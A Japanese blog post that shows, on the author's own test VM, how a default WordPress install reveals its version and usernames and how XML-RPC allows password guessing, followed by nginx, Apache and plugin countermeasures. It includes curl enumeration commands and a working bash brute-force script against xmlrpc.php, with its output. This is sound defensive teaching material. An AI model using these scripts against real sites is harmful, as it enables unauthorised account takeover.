昨今、サイバー攻撃に関するの話題が絶えません。
大きいところでは、KADOKAWA や JAXA 、「なろう」「カクヨム」を運営するハーメルンなど、官民問わず様々な組織がサイバー攻撃を受けました。
サイバー攻撃を防ぐためには、できる限り脆弱性を無くしておくことが必要です。
しかし、実は WordPress をただインストールした状態では、リスクが小さいながらいくつか脆弱性が残っていることはご存知でしょうか?
今回は、その WordPress の脆弱性について、一部ですがご紹介したいと思います。
なお、今回紹介した脆弱性については、以下のサイトを参考にしています。
WordPress のバージョンを取得する
まずは、適当なところに KUSANAGI の VM を立てて WordPress をプロビジョンします。
プロビジョンできましたら、 WSL など Linux 環境から以下のコマンドを入力します。
curl https://(プロビジョンしたFQDN)/ | grep 'content="WordPress'
コマンドに間違いがなければ、以下のような結果が得られたと思います。
$ curl https://(プロビジョンしたFQDN)/ | grep 'content="WordPress'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 85869 0 85869 0 0 135k 0 --:--:-- --:--:-- --:--:-- 135k
<meta name="generator" content="WordPress 6.5" />
$
これで、動いている WordPress のバージョンが確認できます(今回は 6.5 )。
WordPress のバージョンによって、対策されている脆弱性が異なります(バージョン古いほど脆弱性が多い)ので、これも有益な情報です。
WordPress のユーザー名を取得する
それでは続いて、以下のコマンドを入力してください。
curl -s -I -X GET https://(プロビジョンしたFQDN)/?author=1
コマンドに間違いがなければ、以下のような結果が得られたと思います。
$ curl -s -I -X GET https://(プロビジョンしたFQDN)/?author=1
HTTP/2 301
server: nginx
date: Thu, 27 Jun 2024 03:43:58 GMT
content-type: text/html; charset=UTF-8
location: https://(プロビジョンしたFQDN)/author/admin/
x-b-cache: BYPASS
x-redirect-by: WordPress
x-xss-protection: 1; mode=block
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
alt-svc: h3=":443"; ma=2592000
x-f-cache: BYPASS
x-signature: KUSANAGI
$
今回の例ですと 「admin」 というユーザー名が取得できました。
URL のレスポンスコード(上記の例では HTTP/2 301
の部分)が 30x もしくは 200 であればそのユーザー名は有効ということになります。
今回攻撃に使った URL の ?author= に対してブルートフォース(スクリプトなどを使って 1 から連番で URL を投げる)を行えば、有効なユーザー名の一覧が取得できます。
別の手段で、以下の URL を使用してユーザー名を取得することもできます。
curl https://(プロビジョンしたFQDN)/wp-json/wp/v2/users | jq .
XML-RPC を利用する
WordPress は XML-RPC という機能をデフォルトで有効化してあります。
XML-RPC Support « WordPress Codex
この機能はリモートで WordPress が操作可能なので、便利な反面、セキュリティリスクを抱えています。
現在、 WordPress はこの機能を推奨せず、リモートで WordPress を操作する場合は REST API を使うことを推奨しています。
この機能はあくまで、 WordPress が重視する後方互換のために残された機能です。
とはいえ、そんな事を知らないユーザーからすれば、デフォルトでこの機能が有効になっていることさえ知らないでしょう。
それでは、この機能を利用してどのようなことが行えるか見ていきます。
XML-RPC で利用できる処理を確認する
まずは、 XML-RPC で利用できる処理を確認するために、以下の内容の xml ファイルを用意します。
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
続いて、その xml ファイルを使って以下のコマンドを実行します。
curl https://(プロビジョンしたFQDN)/xmlrpc.php -X POST -H 'Content-Type: application/xml' -d @(上記 xml ファイルパス)
コマンドに間違いがなければ、以下のような結果が得られたと思います。
$ curl https://(プロビジョンしたFQDN)/xmlrpc.php -X POST -H 'Content-Type: application/xml' -d @(上記 xml ファイルパス)
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
:
(中略)
:
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
$
ここで表示されている値が、 XML-RPC で利用できる処理となります。
それではさらに、この処理を使ってユーザーのパスワードを取得してみます。
WordPress のユーザーのパスワードを取得する
まずは、パスワードの取得に使えそうな機能が XML-RPC にあるか確認します。
以下のコマンドを入力してください。
curl https://(プロビジョンしたFQDN)/xmlrpc.php -X POST -H 'Content-Type: application/xml' -d @(上記 xml ファイルパス) | grep -E '(wp.getUserBlogs|wp.getCategories|metaWeblog.getUsersBlogs)'
コマンドに間違いがなければ、以下のような結果が得られたと思います。
$ curl https://(プロビジョンしたFQDN)/xmlrpc.php -X POST -H 'Content-Type: application/xml' -d @(上記 xml ファイルパス) | grep -E '(wp.getUserBlogs|wp.getCategories|metaWeblog.getUsersBlogs)'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4365 0 4272 100 93 9422 205 --:--:-- --:--:-- --:--:-- 9614
<value><string>metaWeblog.getUsersBlogs</string></value>
<value><string>wp.getCategories</string></value>
$
2つ使えそうな機能がありました。
「metaWeblog.getUsersBlogs」と「wp.getCategories」です。
今回は、 metaWeblog.getUsersBlogs を使ってパスワードを取得してみます。
今度は、以下のようなシェルスクリプトを用意します。
#!/bin/bash
url="https://(プロビジョンしたFQDN)/xmlrpc.php"
username="admin"
passowrds=(
"password"
"Password"
"PASSWORD"
"passw0rd"
"Passw0rd"
"PASSW0RD"
)
for password in "${passowrds[@]}"
do
cat <<EOF > getUsersBlogsTest.xml
<methodCall>
<methodName>metaWeblog.getUsersBlogs</methodName>
<params>
<param><value>1</value></param>
<param><value>$username</value></param>
<param><value>$password</value></param>
</params>
</methodCall>
EOF
is_fault=$(curl $url -X POST -H 'Content-Type: application/xml' -d @getUsersBlogsTest.xml -s | grep 'faultCode')
if [[ -z "$is_fault" ]]; then
echo "Correct password = $password"
fi
done
シェルスクリプトの内容は、上記の 2. で判明しているユーザー名のパスワードを取得するために、よくありそうなパスワードを用意し、そのユーザー名とパスワード一覧を使って XML-RPC に metaWeblog.getUsersBlogs という処理を連続して実行させて、エラーにならなかった場合、そのパスワードを表示する内容になっています。
それでは、実際に実行してみましょう。
$ /bin/bash (上記のシェルスクリプトのパス)
Correct password = Passw0rd
$
ヒットしました。
どうやらこの環境の「admin」というユーザー名のパスワードは「Passw0rd」のようです。
ユーザー名とパスワードが判別してしまうと、様々な問題が起きることは想像に難くありません。
対策
上記のように、 WordPress にはリスクが小さいとはいえ、いくつか脆弱性があることが確認できました。
以降は、それらの対策について記載していきます。
WordPress のバージョンを非表示にする
リスクとしてはかなり小さいですが、バージョンが見えていることも攻撃者に情報を与えています。
このバージョンを隠すためには、現在利用しているテーマの functions.php
に以下のコードを追加することで、表示されなくなります。
remove_action('wp_head', 'wp_generator');
投稿者アーカイブへのリダイレクトの無効化
https://(プロビジョンしたFQDN)/?author=1
にアクセスした場合にユーザー名が表示されるのは、 WordPress の機能である投稿者アーカイブへリダイレクトされているためです。
もし、この機能が不要であるならば無効化しておくのが賢明です。
現在利用しているテーマの functions.php
に以下のコードを追加することで、 ?auther=1
にアクセスしても投稿者アーカイブへリダイレクトされずに、トップページリダイレクトされるようになります。
function disable_author_archive_redirect() {
if( preg_match('/author=([0-9]*)/i', $_SERVER['QUERY_STRING'])){
wp_redirect(home_url());
exit;
}
}
add_action('init', 'disable_author_archive_redirect');
wp-json 機能を制限
もう1つ、 wp-json 機能を利用してユーザー名が取得できました。
wp-json は便利な機能ですが、反面リスクも抱えています。
wp-json はプラグインでも使用しているので、機能の無効化ではなく /wp-json/
へのアクセスに IP アドレスの制限をかけるなどの対策を行うのが良いでしょう。
- nginx の設定ファイルに記載
Web サーバーに nginx を利用している場合は、以下のような設定を nginx の設定ファイルに記載することで、
へのアクセスを制限できます。/wp-json/
location /wp-json/ {
satisfy all;
allow (許可したい IP アドレス);
deny all;
try_files $uri $uri/ /index.php?$args;
}
- .htaccess ファイルに記載
Web サーバーに Apache httpd を利用している場合は、以下の内容を記載した .htaccess
ファイルをドキュメントルートに配置することで、
へのアクセスを制限できます。/wp-json/
<Directory "/wp-json/">
Require all denied
Require ip (許可したい IP アドレス)
</Directory>
パスワードの複雑化
分かりやすい、桁が少ないパスワードはブルートフォースによって簡単にパスワードを暴かれます。
パスワードはできる限り複雑になるように、使用する文字種は大文字+小文字+数字+記号で、桁も12桁以上で自動生成したパスワードを使用することを推奨します。
パスワードの複雑さが高くなるほど、突破されるまでの時間が長くなります。
以下に、情報としては古いですがパスワードの複雑さと突破されるまでのおよその時間を表にしたグラフが記載された、 reddit の投稿を記載しておきます。
パスワードの自動生成の例をいくつか記載しておきます。
- mkpasswd
AlmaLinux OS や CentOS であれば mkpasswd
コマンドを使用して生成できます。mkpasswd
のデフォルトの文字種は大文字+小文字+数字+記号になっています。
オプション -l
に数字を渡すことで、その桁のパスワードが自動生成されます。
# mkpasswd -l 12
pawN8;w3Fhbe
#
- pwgen
Ubuntu の場合であれば pwgen
コマンドを使用して生成できます。pwgen
のデフォルトの文字種は大文字+小文字+数字になっています。
オプションに -y
を渡すことで文字種に記号を追加でき、第1引数が桁、第2引数が出力するパスワードの数になります。
$ pwgen -y 12 1
IVo;quaiw3pe
$
- Webサイト
他にもパスワードを自動生成してくれる Web サイトがありますので、そちらを利用する方法もあります。
強力なランダムパスワードを取得 | トレンドマイクロパスワード作成ツール
XML-RPC 機能の無効化
今回、一番大きいリスクは XML-RPC が有効だという点です。
上記しましたように、 XML-RPC は現在利用を推奨されていないため、無効化するのが賢明です。
以下に無効化する方法をいくつか記載します。
- nginx の設定ファイルに記載
Web サーバーに nginx を利用している場合は、以下のような設定を nginx の設定ファイルに記載することで、 /xmlrpc.php
へのアクセスを無効化できます。
location = /xmlrpc.php {
return 403;
}
- .htaccess ファイルに記載
Web サーバーに Apache httpd を利用している場合は、以下の内容を記載した .htaccess
ファイルをドキュメントルートに配置することで、 /xmlrpc.php
へのアクセスを無効化できます。
<Files "xmlrpc.php">
Require all denied
</Files>
- 無効化プラグインを利用
Disable XML-RPCプラグインなど、 XML-RPC を無効化するプラグインがありますので、こういったプラグインを利用すれば、手軽に無効化できます。
Disable XML-RPC – WordPress プラグイン | WordPress.org 日本語
XML-RPC 機能の IP アドレス制限
事情があり、 XML-RPC の機能を利用せざるを得ないのであれば、 /xmlrpc.php
へのアクセスに IP アドレスの制限をかけるなどの対策を行ってください。
- nginx の設定ファイルに記載
Web サーバーに nginx を利用している場合は、以下のような設定を nginx の設定ファイルに記載することで、 /xmlrpc.php
へのアクセスを制限できます。
location = /xmlrpc.php {
satisfy all;
allow (許可したい IP アドレス);
deny all;
}
- .htaccess ファイルに記載
Web サーバーに Apache httpd を利用している場合は、以下の内容を記載した .htaccess
ファイルをドキュメントルートに配置することで、 /xmlrpc.php
へのアクセスを制限できます。
<Files "xmlrpc.php">
Require all denied
Require ip (許可したい IP アドレス)
</Files>
その他、色々対策があります。
TOP で紹介したサイトや Kinsta などでも紹介されていますので、是非参考にしてください。
WordPressのxmlrpc.php徹底解説(無効化すべきセキュリティ上の理由とその方法) | Kinsta®
まとめ
Webサイトは日々、サイバー攻撃にさらされています。
大丈夫だと思っていても、いつ情報が漏洩したり、DDoS 攻撃を受けたり、ランサムウェアを仕込まれたりするか分かりません。
セキュリティ意識を高く持ち、脆弱性にきちんと対策をすることが必要です。